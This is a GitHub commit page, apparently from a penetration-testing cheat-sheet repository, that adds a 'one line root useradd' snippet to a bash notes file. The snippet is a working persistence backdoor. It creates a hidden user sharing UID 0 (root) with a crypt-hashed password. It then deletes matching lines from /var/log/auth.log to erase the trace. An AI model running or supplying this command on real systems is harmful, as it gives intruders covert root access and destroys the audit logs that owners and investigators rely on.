Skip to content

Commit

Permalink
Merge pull request #85 from oXis/patch-1
Browse files Browse the repository at this point in the history
Add one line root useradd
  • Loading branch information
WebBreacher committed Jun 20, 2014
2 parents f97a969 + 030e203 commit 7cf64ac
Showing 1 changed file with 5 additions and 0 deletions.
5 changes: 5 additions & 0 deletions scripting/bash.md
Original file line number Diff line number Diff line change
Expand Up @@ -127,6 +127,11 @@ I find this best works with a socat listener due to the readline support.
socat readline TCP-LISTEN:1234
```

**One line root useradd**
It creates a new root user. You have to change some parameters.
```bash
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
```

Credits
-----------
Expand Down

0 comments on commit 7cf64ac

Please sign in to comment.